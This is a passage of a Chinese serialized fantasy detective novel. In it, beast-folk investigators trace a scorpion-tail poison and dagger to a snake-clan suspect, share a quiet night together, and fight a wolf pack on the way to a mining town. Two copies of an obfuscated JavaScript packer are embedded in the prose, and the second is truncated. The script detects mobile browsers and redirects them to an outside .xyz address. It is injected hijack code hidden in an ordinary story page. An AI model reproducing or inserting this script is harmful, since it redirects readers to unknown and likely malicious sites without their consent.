“不止,”林大夫走到药架前,取下个贴着“雄黄”标签的瓷罐,“这毒里还混了蛇信子粉末,两种毒物相生相克,发作时既会让伤口发黑溃烂,又能暂时麻痹神经,延缓毒发时间。”他指着死者腕间的旧绳痕,“你看这处,绳结印记新鲜,但皮肤没有挣扎时的充血——说明中毒后被人捆绑过。” 江知烨俯身细看,果然见绳痕边缘的皮肤呈异常的青白色,像是被某种药物浸泡过。他回想起死者掌心里的半枚骨片,那朱砂符号在脑海里一闪而过,便从袖袋里取出布帕:“林大夫,这骨片上的毒……” “朱砂只是幌子,”林大夫接过骨片,对着天光细看,“真正的毒在骨缝里。你看这黑曜石嵌片下的细孔,里面残留着蝎尾草的汁液结晶。”他用镊子轻轻刮下一点粉末,放在火上灼烧,立刻升起一股焦臭的蓝烟。 方妙捂着口鼻退到门边,忽然惊呼:“你看他伤口!” 众人望去,只见死者腹部的刀伤处,原本凝结的黑痂竟开始渗出透明的液体,那些液体流过的皮肤迅速泛起细密的水泡,像是被强酸腐蚀。 林大夫立刻用烈酒冲洗伤口,嘶啦声中腾起白色雾气:“果然,蛇信子粉末遇热会激活蝎尾草的毒性,凶手是故意让尸体保持温度,好让毒发症状更明显。” 离开医馆时,日头已升至中天。 路过南市口时,一阵竹香混着墨味飘来,只见街角扇铺的幌子上画着丛墨竹,竹梢垂落的地方,挂着把新制的湘妃竹扇。 “进去看看。”江知烨忽然停步。 铺子里挂满了各式各样的扇子,方妙摸着把绣着并蒂莲的团扇,忽然听见江知烨在柜台前说:“这把墨竹扇,配象牙扇坠。” “给漠澜的?”方妙笑着凑过去,见扇骨内侧还用小篆刻着“风过”二字。 江知烨付了钱,将扇子小心收进袖袋,:“他总说案头缺把素净的扇子。” 铁匠铺在城东巷弄深处,还未走近就听见叮叮当当的敲打声。 顾时夜之前常来这里打制箭头,掌柜的是个独眼的老匠人,此刻正对着熔炉淬火。 “江大人?”老匠人放下铁锤,用围裙擦着手,“今儿个不买箭头了?” 江知烨双手比划说道:“有这种刃口的匕首吗?一寸宽,边缘带血槽,刀尖呈蝎尾钩状。” 老匠人闻言思索片刻:“蝎尾钩?你这么一说,倒让我想起上个月城西潜水码头那家‘沉沙铺’。”他往地上啐了口唾沫,“那儿专做些见不得光的玩意儿,渔民用来割渔网的短刃,刃口都淬着薄毒,跟你说的血槽一个模样。” 方妙忽然拽了拽江知烨的袖子,指着铁砧角落的铁屑:“知烨哥,你看这铁渣颜色,和死者靴底的暗红色沙砾有点像。” 老匠人闻言大笑:“小姑娘好眼力!这是岩磷城的赤砂岩掺了陨铁,沉沙铺那伙人最爱用这材料,说是什么‘蝎尾铁’,淬毒后刀刃能吸住骨头。”他说着从柜台下摸出半截断刃,果然和江知烨描述的形状分毫不差,刃口处还残留着暗红的锈迹。 离开铁匠铺时,方妙忍不住问:“知烨哥,你说凶手拔毒刺、用蝎尾铁匕首,还要故意让毒发……到底图什么?” 江知烨抬头望向远处的潜水码头,那里帆樯如林,海鸥的叫声刺破云层。 “你还记得张兆信里说的‘西域蝎尾骨’吗?” “蝎尾草毒、蝎尾铁匕首、被拔走的蝎尾毒刺——凶手要的,恐怕不是毒,是死者身上那根完整的蝎子尾骨。”他说着将扇子递给方妙,“你先去漠澜那,把扇子给他,就说我去潜水码头查点东西,晚饭前回。” ........ 咸腥气裹着水汽扑在脸上时,江知烨已踏上漕水码头的木板栈道。 午后的日头晒得甲板发烫,归港的渔船挤在泊位上,湿漉漉的渔网里还滴着海水,在船舷边积成暗褐色的水洼。 他按着铁匠铺老板说的方向,在第三排泊位尽头找到了那家挂着破渔网幌子的铺子——门板上用炭笔写着“沉沙铺”三字,笔画间凝着黑黢黢的油污。 铺子门虚掩着,里头传来磨刃的“沙沙”声。江知烨推门时,门轴发出刺耳的吱呀声,惊动了里间的人。 一个老叟从堆积如山的渔网后探出头,缺了半只耳朵的耳廓上挂着枚鱼骨耳环。 “买什么?”老叟的声音像被海水泡过,沙哑得厉害。 “一寸宽,血槽呈蝎尾钩状的匕首,刃尖淬毒。” “蝎尾铁匕首?你算是找对地方了。”只见对方转身在杂物堆里翻找,拿出个木匣,里面躺着几柄形制相同的短刃,果然和死者伤口的形状吻合。 “上个月刚打了一批,”老叟用指甲刮着刃面,“买主多是潜水采珠的,割海草防鲨鱼,怎么样,买吗?” “其实我还想问问,最近有谁买过这种匕首,还特意要淬蝎尾草毒的?”江知烨盯着老叟的脸,深怕错过任何细节。 老叟的动作顿了顿,鱼骨耳环轻轻晃了晃:“淬毒的活儿费钱,一般人不做。不过……”他忽然凑近,一股混杂着海藻和铁锈的气味扑面而来,“前儿个傍晚,有个戴青竹斗笠的人来过,买了两柄蝎尾匕,还多要了三钱蝎尾草粉末。” “什么样的人?”江知烨追问,指尖在柜台上敲出无声的节奏。 “看不清脸,斗笠压得很低,”老叟挠了挠结痂的头皮,“只记得他说话嗓子发哑,像是被烟呛过,身上有股……嗯,像是晒干的蛇蜕混着艾草的味儿。”他说着,从柜台下摸出个油纸包,里面残留着些深绿色的粉末,“这是他剩下的蝎尾草,说多了没用,你闻闻。” 江知烨接过油纸包,鼻尖刚凑近就闻到一股辛辣的腥气,像毒蛇信子舔过鼻腔。这气味和死者伤口渗出的液体极其相似,他立刻想到林大夫说的蛇信子粉末,心中一动:“他还买了什么?” “没了,”老叟摇摇头,“付了银子就走了”他忽然指着门外停泊的一艘乌篷船,“喏,就停在那边那艘‘青蚨号’旁边,船板上好像撒了些雄黄粉。” 江知烨谢过老叟,走出沉沙铺时,海风骤然变大,他望向老叟指的乌篷船,船舷果然撒着星星点点的雄黄,在木板上形成一道断续的黄线。 刚要走近,船上忽然跳下个赤膊的渔夫,扛着张湿渔网往岸上走,脚腕处缠着青布绑腿。 “这位大哥,”江知烨拦住他,“这乌篷船是你的吗?” 渔夫警惕地上下打量他,晒得黝黑的脸上刻着深纹:“不是,船主前天租的,说是歇两晚就走。”他说着,往船尾指了指,“人刚走没多久,走的时候背着个长条木箱,箱子缝里好像掉出些碎骨头。” 江知烨的心猛地一沉。他跃上乌篷船,船舱里空空如也,只有角落扔着半片撕碎的草席,草席纤维里卡着几根墨绿色的鳞片,每片鳞片边缘都生着细密的小刺,在阳光下泛着金属般的光泽。 “看到那人长什么样了吗?”江知烨捏着鳞片,转身问渔夫。 “样子没看清,但我知道是个蛇族兽人”渔夫挠着头,“还有,他斗篷是墨绿色的,走路时腰杆挺得笔直,像根竹竿。对了,他咳嗽的厉害,因为经常抽旱烟。” 江知烨闻言,立刻想起老叟说的艾草混蛇蜕的气味,还有那沙哑的嗓音。 他将鳞片收进袖袋,跳下船时,看见不远处的水洼里漂着截断发,发丝呈罕见的暗绿色,末端粘着些许白色的皮屑,像是某种爬行动物蜕下的角质层。 接下来的两个时辰,江知烨沿着码头排查了二十多家渔户,有人说见过戴斗笠的人买过雄黄,有人说看见墨绿色斗篷的人在礁石区徘徊,但都记不清具体样貌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694762|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕阳西沉时,他站在码头尽头,望着潮水卷着碎木片退去。 回理尚府的路上,路过南市口时,卖扇铺的幌子在暮色里轻轻摇晃。 “嘶——” 一声极轻的异响从身后巷弄传来,像蛇类吐信。 江知烨猛地转身,手按上腰间佩刀,却只看见空荡荡的巷子。 他皱着眉往前走,靴底碾过一块滑腻的东西,低头一看,竟是片新鲜的蛇蜕,半透明的皮膜上还沾着湿润的黏液。 回到江府时,方妙正和柳漠澜在院里说话。 看见江知烨回来,方妙立刻递上一盏热茶:“知烨哥,你可算回来了!漠澜哥把扇子收下了,还说……” “鸽子呢?”江知烨打断她,声音带着海风的凉意。 “在书房整理记录,”柳漠澜走上前,手里拿着那把墨竹扇,“你去码头可有收获?” 江知烨没回答,径直走向书房。白鸽正趴在桌上,炭笔在纸上画着死者掌心里的朱砂符号,旁边列着几排线索:蝎尾草毒、蛇信子粉末、赤砂岩、带血槽的蝎尾匕。 “把鳞片和蛇蜕拿去给林大夫检查,”江知烨将袖袋里的东西放在桌上,“还有这个——”他展开那片蛇蜕,指着皮膜上隐约的纹路,“让画工照着描下来,明天一早贴满南清城,悬赏寻找墨绿色斗篷、嗓音沙哑的男子。” 白鸽点点头,立刻拿起放大镜观察鳞片:“这鳞片结构很特殊,边缘的小刺像是……像是某种毒蛇的毒腺附属物。” 江知烨闻言摩挲着下巴思考,沉沙铺老叟说的“青蚨号”,还有渔夫提到的长条木箱,心中渐渐勾勒出一个轮廓——绿蛇族的兽人,擅长用毒,觊觎死者的蝎子尾刺,用蝎尾铁匕首杀人,拔掉毒刺,用烙铁止血。 思考时,安德鲁抱着三卷泛黄的案轴踏入房门,“白鸽把事捎来口信,我翻了酉时三刻的旧档。”他将最上面一卷摊开在酸枝木书案上,“还记得王萍的案子吗?” “兔女凶杀案?”江知烨探身望去。案卷首页的朱砂批注已晕染成模糊的暗红,“两年前西街米酒年糕铺的案子,当时结案的时候不是很草率吗?还要她弟弟王焕进去了。” “自然,但我发现疑点。”安德鲁指尖划过绢纸:“王萍,死在店内后厨,验尸记载是中毒,但侧颈有咬痕,创口发黑溃烂。”他顿了顿,展开另一卷画轴,“蝙蝠兽人何文豪,意城富商,腹部中刀,刃宽一寸,凶器形状像蝎尾。最蹊跷的是——”他将两卷案卷并置,烛火照亮两处伤口的墨线描摹,“张兆的尸检报告里,刀伤宽度和中毒反应,与何文豪王萍的记载分毫不差。” 江知烨的手指叩在“孙一博”的画像上:“当年认定他杀了何文豪,还要选择城外埋尸,现在想想,按这记载,王萍家中藏着百斤‘花君子’,孙一博又是药粉贩子,两人该是利益勾连。”他忽然停住话头,抓起案上的狼毫笔在空白处勾画,“何文豪是夜间生物,王萍死于亥时末刻,若他撞见真凶作案——” “那真凶为何只移走何文豪的尸体?”安德鲁抱臂退后半步,“孙一博可是‘灯下黑’的职业,专做阴私买卖,没理由把自己卷进两桩命案。更奇怪的是这咬痕——”他指着王萍伤情图上两个深浅不一的血窟窿,“仵作注明齿间距不符任何蝙蝠兽人,倒像……” “像有人用手摁着伤口伪造!”江知烨突然掷笔,墨滴溅在“蛇毒”二字上晕开团黑雾,“案卷里说年糕含慢性毒物,但米酒里掺了蝎尾草粉,林大夫说加热后与蛇毒发生反应。梅雨季地窖潮湿,空气不流通……”他忽然抬眼,“何文豪的刀伤凶器是蝎尾刃,与张兆案的嫌疑人,这两者之间必有联系。” “你不是让顾时夜他两去岩磷了吗,让白鸽也去,岩磷靠北境荒漠,容易迷路。”他将案轴卷回,蜡封时火苗“噼啪”一响,“此外我会吩咐戍卫,水路封锁线加派三头鳍族哨卫,空路再调两队鹰族巡逻。” 江知烨望着案上两桩旧案的卷宗,眉头紧皱:“当年孙一博死的突然,案件嫌疑人全员死亡,也是棘手,如今不能再出错了。”他拾起狼毫,在通缉令空白处添上句批注:“查所有蝎尾刃交易者。” ....... 三更梆子声透过窗棂时,江知烨还在用朱砂笔在案卷空白处勾画。烛台里的蜂蜡积了半寸,火光将案头堆叠的卷宗映出明明灭灭的影子,最上面那页“兔女凶杀案”的尸检图上,新添的墨线把两处伤口连成交叉的十字。 他揉了揉眉心,指腹蹭过下颌刚冒出的胡茬——从傍晚到此刻,砚台里的墨汁已添了三回。 门轴“吱呀”轻响时,江知烨以为是值夜的守卫,头也未抬便说:“把周边分布图再取一卷。” “是想把眼睛熬成红灯笼么?” 熟悉的声音带着一丝微凉的笑意。江知烨抬眼,见柳漠澜端着黑漆食盘立在门口,食盘里搁着一碟桂花糕和一碗甜羹。 “怎么还没歇?” 柳漠澜将食盘搁在案几一角,:“前院的更夫说你书房的灯亮得像白昼。”他用银匙搅了搅甜羹,递到对方嘴边,“尝尝?加了你喜欢的甜杏仁。” 江知烨却没去接碗,反而伸手揽住他的腰将人带到怀里,让对方坐在自己腿上。 柳漠澜的身形比他记忆中更清瘦些,隔着衣衫就能摸到肋骨的轮廓。 “案子卡在这里了。”江知烨把下巴搁在柳漠澜的肩窝,鼻尖蹭过对方发间若有似无的竹叶香,“两年前的咬痕,蝎尾刃的刀伤,还有那个蛇族嫌疑人……” 柳漠澜没说话,只是将微凉的指尖贴在眼前人的后颈。 每个人那都有处常年紧绷的穴位,他用指腹轻轻揉按,听着对方逐渐放缓的呼吸声。 “再想下去,脑子要比这案卷还皱了。”柳漠澜偏过头,唇瓣轻轻擦过江知烨颧骨,带着诱人的甜香。 这个吻轻得像蝴蝶振翅,却让江知烨攥着他衣袖的手指松了松。 “你说……”话没说完,就被柳漠澜用指尖按住了嘴唇。 “明日再想。” 江知烨忽然低笑一声,手臂穿过对方膝弯将人打横抱起。 突然的悬空感迫使柳漠澜的意识地搂紧了江知烨的脖颈,但下一秒他就吐气如兰般地在人耳边低声细语,搞的眼前人打了个轻颤。“又乱动手。” “抱自己的媳妇儿,不算乱动手。”江知烨踢开书房门,往卧房走。 闻言柳漠澜把脸埋进江知烨的肩窝,听着对方胸腔里沉稳的心跳声,闻着对方身上淡淡龙涎香混着墨味。 “没个正形儿....” 卧房的纱帐被夜风掀起一角,江知烨将柳漠澜放在铺着锦被的床上,自己也跟着躺下,随后自然地伸手搂住对方的腰,额头抵着额头。 “睡吧。”柳漠澜闭上眼,在对方怀里找了一个舒服的姿势。 江知烨“嗯”了一声,却没立刻闭眼。他看着帐顶绣的缠枝莲纹,脑子里还在隐约盘旋着案卷上的墨线,但身边人的体温和呼吸却渐渐让那些纷乱的思绪沉了下去。他收紧手臂,将柳漠澜往怀里揽了揽,听着耳边均匀的呼吸声,终于也合上了眼。 31. 荒沙刃影 荒原的风是钝的,卷着细沙砾,打在顾夜白额角碎发上时,发出沙沙的轻响。 他抬手抹了把脸,指尖蹭过一片粗粝的沙粒感,忍不住朝斜前方的兄长喊了一嗓子:“哥,这风跟刀子似的,再走下去我眼睫毛都得挂上沙砬子!” 顾时夜脚步未停,只侧过半边脸,“嫌风大?就抓紧我,这风能把人连骨头带翅膀吹得打摆子,你这点牢骚留着到岩磷城喝烈酒时再发。” 他们已在通往岩磷城的驿道上走了五日。越往北,地势越显开阔,草木渐次稀疏,取而代之的是赭黄色的砾石地。 岩磷城以地下磷矿闻名,越靠近那里,空气里越隐约浮动着一股矿物特有的、类似铁锈混着硫磺的淡腥味。 顾夜白抖了抖肩头,见顾时夜不理会自己的抱怨,便低头踢开脚边一块棱角分明的黑石,石子骨碌碌滚出老远,惊起两只藏在岩缝里的沙蜥,蜥蜴尾巴一甩,迅速钻入更深的石隙中。 “哥,你说江大人这次让我们去岩磷城,到底是为了什么?”顾夜白小跑两步跟上,“就为了查那信里的人?万一啥也没有咋办?不白跑了吗?这几天我们可是连夜赶路啊。” 顾时夜眼神沉了沉,“别多问。江大人让我们去,自有道理。岩磷城龙蛇混杂,又是北地荒漠的边缘,小心为上。” 他话音未落,一阵极凄厉的狼嚎突然撕裂风幕。那声音不似寻常山野狼嗥,带着一种久饿后的狠戾与狂躁,尾音拖得极长,在空旷的荒原上回荡,听得人后颈汗毛直竖。 顾夜白猛地停步,手已按上了自己的佩剑。 他瞳孔微缩,循声望去——只见左侧前方一片低矮的雅丹地貌间,土黄色的岩柱后,几点幽绿的光正缓缓移动。 “是野郊狼!”顾夜白低喝一声,“看这眼睛,怕不是饿了很久的狼群!” 顾时夜已将剑拔出半寸,快速扫视着那片岩柱:“不止一只。你看那岩缝后面,至少有……”他顿了顿,声音沉下来,“二十只往上。” 风似乎更急了些,卷起的沙砾打在岩石上,那些幽绿的光点越来越近,渐渐勾勒出狼的轮廓——瘦骨嶙峋的躯体,杂乱的灰黄色毛发,涎水从咧开的嘴里滴下,在沙地上凝成细小的冰晶。 它们并非普通的狼,而是北地荒漠特有的野郊狼,体型比寻常狼更大,性情也更为凶残,尤其在食物匮乏的季节,会组成庞大的狼群,甚至敢于攻击落单的商队。 “背靠背,”顾时夜短促地下令,同时展开了背后的鸦羽翅膀。宽大的羽翼在风沙中猛地撑开,瞬间形成一道屏障,将顾夜白护在侧后方,“注意它们的突进,头狼在中间,看那毛色,比别的狼深。” 顾夜白深吸一口气,握紧手中的剑,剑尖斜指地面,目光紧紧锁住最前方那几只蠢蠢欲动的郊狼。 狼群似乎在评估眼前的猎物。它们低伏着身体,喉咙里发出威胁性的呼噜声,绕着兄弟俩缓慢地踱步,寻找着破绽。 风沙在它们之间穿梭,卷起细碎的沙雾,让那几点幽绿的目光显得更加阴森。 率先发动攻击的是两只侧翼的郊狼。它们几乎同时低嚎一声,从左右两侧呈包抄之势猛扑过来。 “左边!”顾时夜沉声提醒,同时手中的剑已如一道黑色闪电挥出。 他的动作极快,鸦羽翅膀猛地一振,带起一股强风,吹得那只扑向左面的郊狼身形一滞。剑光闪过,精准地砍在狼的前爪上,只听“嗷”的一声惨嚎,那狼被砍中前肢,踉跄着退了几步,爪子上渗出黑红色的血。 几乎在同一时间,顾夜白应对右边的攻击。他脚下一点,身体借着翅膀的助力向后急退半步,手中的剑划出一道弧线,险险格开那只狼的利爪。 剑身与狼爪碰撞,发出“锵”的一声脆响。顾夜白手腕翻转,剑尖顺势挑向狼的下颌,但那狼反应极快,猛地一偏头,躲开了致命一击,却被剑尖划破了脸颊,留下一道血痕。 “小心它们的配合!”顾时夜喝道。他刚击退左侧的狼,中间的头狼已发出一声低沉的咆哮,整个狼群的攻势瞬间变得更加猛烈。 这一次,不再是单独的扑击,而是三四只狼同时从不同方向突进,有的咬向脚踝,有的扑向腰腹,更有两只狡猾地盯上了他们展开的翅膀——对于兽人来说,翅膀是重要的攻击与平衡器官,一旦受伤,战力将大幅下降。 顾时夜眼神一凛,剑舞得密不透风,先是荡开一只扑向他腰间的狼,随即手腕一翻,剑刃擦着另一只狼的鼻尖划过,逼得它不得不后退。 与此同时,他感觉到右侧的顾夜白身体一震,似乎是遇到了麻烦。 “小白!”顾时夜心头一紧,侧身想去支援,却被两只狼死死缠住。 其中一只狼猛地跳起,利齿直咬他的咽喉,他不得不挥剑格挡,另一只狼则趁机扑向他的翅膀,利爪眼看就要勾住墨色的羽毛。 千钧一发之际,顾时夜猛地收敛翅膀,同时身体向后一仰,以一个极其刁钻的角度避开了狼爪,手中的剑则顺势向上撩起,“噗”的一声,剑尖刺入了那只跃起狼的腹部。狼发出一声短促的哀鸣,身体重重砸在沙地上,抽搐了几下便不再动弹。 但他这边刚解决一只,顾夜白那边却传来一声闷哼。顾时夜回头望去,只见一只郊狼趁着顾夜白格挡另一只狼的空隙,从侧面猛地扑上,一口咬住了他持剑的左臂。 “该死!”顾时夜目眦欲裂,剑刃连挥,逼退面前的两只狼,同时展开翅膀猛地一甩,一股强劲的气流吹向咬住顾夜白的那只狼。 那狼被气流冲击,松口后退了几步,顾夜白趁机抽回手臂,只见他手臂上露出两道深可见骨的牙印,鲜血瞬间涌了出来,滴落在沙地上,迅速被风沙覆盖。 “哥,我没事!”顾夜白咬着牙,用未受伤的右手握住左手手腕,试图止血,但伤口太深,鲜血仍不断渗出,染红了他的袖口。 狼群见有猎物受伤,眼中的凶光更盛。头狼再次咆哮,指挥着狼群发起新一轮进攻。 这一次,它们的目标明显对准了受伤的顾夜白。几只狼呈扇形包抄过去,利爪在沙地上刮擦,发出刺耳的声响。 顾时夜心中大急,他必须尽快赶到弟弟身边,但面前的狼如同潮水般涌来,让他难以脱身。 剑在他手中舞得如同一片黑色的光幕,不断地格挡、劈砍,但狼群数量太多,且悍不畏死,一只倒下,另一只立刻补上,腥臭的气息几乎将他淹没。 他能感觉到顾夜白的呼吸变得急促,挥剑的动作也因左臂的伤痛而略显迟缓。一只狼瞅准机会,猛地从侧面扑向顾夜白的腿弯,顾夜白下意识地用剑去挡,却因左手疼痛而慢了半拍,眼看狼爪就要勾住他的小腿—— 就在这千钧一发之际,一道白色的影子如同流星般从空中疾射而下! 那影子快得惊人,几乎只在风沙中留下一道模糊的白痕。伴随数枚闪着寒光的细针状暗器破空而出,精准地射向那几只扑向顾夜白的郊狼。 “噗噗”几声轻响,暗器分别射中了狼的眼睛、咽喉等要害。几只狼甚至没来得及发出叫声,便颓然倒地,抽搐了几下便没了生息。 突如其来的变故让整个狼群为之一滞,所有的狼都抬起头,警惕地望向天空。只见一名身着白色劲装的年轻男子正悬停在半空中,手中握着一把短弩,弩上还搭着几枚细针,目光沉静地扫视着下方的狼群。 “白鸽?!”顾时夜又惊又喜,手中的剑趁机挥出,逼退了面前的两只狼。 白鸽的加入瞬间扭转了战局。他在空中灵活机动,狼群难以捕捉他的身影,而他的暗器却总能精准地命中狼的弱点。顾时夜和顾夜白压力大减,兄弟俩对视一眼,重新找回了战斗的节奏。 “哥,看左边!”顾夜白忍着手臂的剧痛,挥剑划出一道弧线,逼退了一只试图绕后的狼。 顾时夜心领神会,手中的剑猛地向前一刺,剑尖直指头狼的心脏。头狼似乎意识到了危险,猛地向后一退,躲开了这致命一击,但它的动作也因此慢了半拍。 就在此时,白鸽从空中俯冲而下,手中短弩“嗖”的一声,一枚细针精准地射中了头狼的左眼。头狼发出一声惊天动地的哀嚎,庞大的身躯猛地向后翻滚,撞翻了几只同伴。 失去了头狼的指挥,狼群顿时陷入混乱。剩下的郊狼看着倒地的同伴和气势逼人的三人,眼中的凶光渐渐被恐惧取代。不知哪只狼率先发出一声呜咽,转身就向荒原深处逃窜,其余的狼见状,也纷纷跟随着逃离,很快便消失在起伏的岩柱之间。 风沙依旧呼啸,但刚才激烈的战斗场景已渐渐平息,只剩下满地的狼尸和空气中弥漫的血腥味。 顾时夜立刻收起翅膀,快步走到顾夜白身边,查看他的伤势:“怎么样?伤得重不?” 顾夜白脸色有些苍白,但还是强撑着笑了笑:“没事哥,就是点皮外伤……嘶,”他刚想动一下手臂,伤口便传来一阵剧痛,疼得他倒吸一口凉气。 “还说没事!”顾时夜皱紧眉头,小心翼翼地撩起顾夜白的衣袖,只见伤口周围的皮肉翻卷着,牙印极深,显然是被利齿狠狠咬住过,“得赶紧处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白鸽接过水囊,小口喝着水,听到顾夜白的话,淡淡回应:“……只是熟能生巧罢了。安大人说,我翅膀不如你们乌鸦强健,在地面打斗吃亏,就让我练了些远程的功夫。” “安大人让你来协助我们,是知道岩磷城那边情况复杂?” 白鸽点点头,将水囊还给顾时夜,从怀里拿出一张折叠的羊皮纸:“安大人说,岩磷城的磷矿开采最近很不太平,不仅有商队失踪,连城里的矿主也接二连三地出了事。他怀疑背后有势力在搞鬼,可能和北地的某些部落有关,也可能……”他顿了顿,声音压低了些,“和南都的某些人有关。” 顾时夜接过羊皮纸展开,只见上面画着岩磷城的简略地图,还有几处用朱砂标记的地点。他眉头微蹙:“南都家?我知道,安大人的上头对吧,和他们有关系?” “是。”白鸽肯定道,“安大人说,你们兄弟俩行事利落,又是鸟族兽人,必要时可以飞越高空侦查,不易被发现。我……我则负责传递消息和辅助你们。” 顾夜白闻言大大咧咧地笑了:“嗨,你可别小看自己,刚才要不是你,我这条胳膊说不定就保不住了。再说了,你这鸽子飞得又快又稳,传递消息肯定没人比你更合适!” 白鸽被他拍得肩膀一僵,随即看着顾夜白爽朗的笑容,也忍不住微微勾起了唇角。 休息了片刻,眼见天色渐渐向晚,荒原上的气温开始下降,风也变得更冷了。 顾时夜站起身,拍了拍身上的沙尘:“走吧,得在天黑前找个落脚的地方,或者尽量靠近岩磷城的外围。” 顾夜白和白鸽也跟着站起来。顾夜白活动了一下受伤的手臂,虽然还有些疼,但已经能勉强活动了。他看了看白鸽:“白鸽,你要不要飞起来看看路?顺便看看有没有危险。” 白鸽点点头:“好。”他展开洁白的鸽羽翅膀,轻轻一振,身形便轻盈地升上了天空。他在半空中盘旋了两圈,转瞬又回到地面,:“前方十里左右有片相对平缓的洼地,地势稍低,应该能避风!再往前,隐约能看到岩磷城的轮廓了,城墙是黑色的,在夕阳下很显眼!” “知道了!”顾时夜扬声回应,随即对顾夜白说,“我们也飞一段吧,省点脚力。你的胳膊还能撑住吗?” 顾夜白挺了挺胸:“没问题!不就飞一会儿吗,小意思!”他说着,便展开了鸦羽翅膀,只是因为左臂受伤,翅膀展开时稍微有些不平衡,但他很快调整了过来。 乌鸦的翅膀宽大有力,扇动时带着一股强劲的气流,适合长途飞行和高空盘旋。而白鸽的翅膀则更为轻盈灵活,扇动频率更快,能在空中做出各种灵活的转向。顾时夜和顾夜白刻意放慢了速度,与白鸽保持着相近的高度和速度。 飞在半空中,视野变得开阔起来。极目远眺,地平线上那片黑色的轮廓越来越清晰,正是岩磷城。 32. 瀚海巨蟒 岩磷城的城门口进出的多是扛着矿镐的兽人,裸露的臂膀上布满矿石碎屑,皮肤被地下矿坑的湿气浸得发白,眼神里却透着一股常年与硬物打交道的狠戾。 “这地方……跟块大墓碑似的。”顾夜白缩了缩脖子,下意识地往顾时夜身边靠了靠。 顾时夜没接话,只是将手中剑的剑柄按得更紧。他能闻到空气中浓重的矿物气味,那气味里混杂着铁锈、硫磺,还有一种类似腐败植物的酸气——那是矿石长期在潮湿环境中氧化的味道。 白鸽站在两人身侧,眼神却快速扫过城门口几个蹲守的矿石贩子。 “找杨骏杰?”一个缺了半只耳朵的熊族兽人吐掉嘴里的草茎,上下打量着他们,“你们是外地来的?” 顾时夜上前一步,声音沉稳:“我们从南清来,受人所托,想找杨骏杰先生问些事。” 熊族兽人咧嘴一笑,露出黄黑的牙齿:“杨骏杰?那怪人谁知道在哪儿。半年前见过他一次,在西市买狼蛛的毒腺,付了钱就走,跟个影子似的。”他指了指城内错综复杂的巷道,“这城里三分之一的人都住在矿坑里,剩下的要么在酒馆赌钱,要么在黑市倒腾矿石。那怪人不住矿洞,也不去酒馆,鬼才知道他躲在哪儿。” 闻言三人谢过熊族兽人,走进岩磷城。 城内的巷道比想象中更狭窄,两侧的房屋多用矿石废料搭建,墙壁上布满凿痕,有些地方还渗着墨绿色的矿液,在地面汇成细小的溪流。 街边摊位上摆满了各种矿石制品:发着荧光的磷石摆件、镶嵌着水晶的矿镐头、用矿渣烧制的粗糙陶器。叫卖声混杂着矿石撞击的叮当声,显得格外嘈杂。 “哥,你说这杨骏杰到底是啥样的人?”顾夜白压低声音,“连住哪儿都没人知道,莫不是个……” “别乱猜。”顾时夜打断他,目光落在一个卖烤磷矿饼的摊位上。摊主是个蜥蜴兽人,正用尾巴卷着矿饼翻面,“先找地方打听,酒馆是消息最杂的地方。” 他们走进一家名为“矿脉之喉”的酒馆。屋内光线昏暗,空气中弥漫着劣质麦酒和汗味。几张破旧的木桌旁坐满了兽人,大多是矿工,正大声喧哗着划拳赌钱。一个长着山羊胡子的老板擦着酒杯,抬头看了他们一眼,眼神里带着审视。 “三碗麦酒。”顾时夜将几枚铜币放在吧台上,“顺便问问,你认识杨骏杰吗?” 山羊老板倒酒的动作顿了顿,眯起眼睛:“杨骏杰?你们找他做什么?” “我们是他一个朋友的故人,想过来看看他。”顾时夜语气平和。 老板将酒杯推过来,冷哼一声:“他没朋友。那家伙怪得很,从不跟人打交道,买东西都是半夜去黑市,平时连影子都见不着。听说他住在城东那片废弃的矿洞区,不过也只是听说。”他顿了顿,压低声音,“小伙子,我劝你们别招惹他。有人说他会巫术,用矿石炼魂,也有人说他……”老板突然打住话头,摆摆手,“喝酒吧,别问了。” 三人找了个角落坐下。顾夜白喝了口麦酒,皱着眉:“这酒比沙子还糙。哥,你说这杨骏杰是不是真有问题?” 白鸽一直没说话,只是安静地喝着酒,目光却不时扫过周围的矿工。这时,他忽然轻声说:“刚才那个老板提到废弃矿洞区时,右手下意识地摸了摸左耳垂——那是说谎或隐瞒时的习惯动作。” 顾时夜看向他,有些意外,“你觉得他知道些什么?” 白鸽摇摇头:“不确定。但可以去城东看看。废弃矿洞区离民区远,符合‘偏远’的描述。” 离开酒馆时,天色已完全黑了。岩磷城的夜晚比荒原更冷,矿石墙体的荧光在黑暗中显得格外诡异。 三人沿着城东的碎石路往前走,越走越偏僻,房屋渐渐稀少,最后只剩下一片高低错落的矿洞入口。这些矿洞大多已废弃,洞口用木栅栏封着,里面漆黑一片,隐约传来滴水声和矿石崩塌的回响。 “这里怎么连个灯都没有?”顾夜白搓了搓胳膊,“跟鬼城似的。” 突然,不远处一栋独立的老宅映入眼帘。那宅子与周围的矿洞截然不同,是用青砖砌成的,虽然墙皮剥落,但依稀能看出昔日的精致。院门是两扇雕花木门,此刻虚掩着,门缝里透出微弱的灯光。 “就是这儿了吧?”顾时夜走上前,轻轻叩响门板。 叩门声在寂静的矿洞区显得格外清晰。等了许久,门才“吱呀”一声开了条缝,露出一张女人的脸。 门缝里的女人美得惊人。 她的皮肤白得近乎透明,在昏暗的光线下仿佛会发光,眉毛细长如黛,眼尾微微上挑,瞳孔是极淡的琥珀色,像浸在水里的琉璃。嘴唇是天然的嫣红色,唇线清晰,嘴角微微上扬,带着一丝若有若无的笑意。 可这美丽却透着股说不出的古怪——她的表情过于僵硬,眼神空洞,像是一幅精心绘制的画,却缺少了活人的气息。 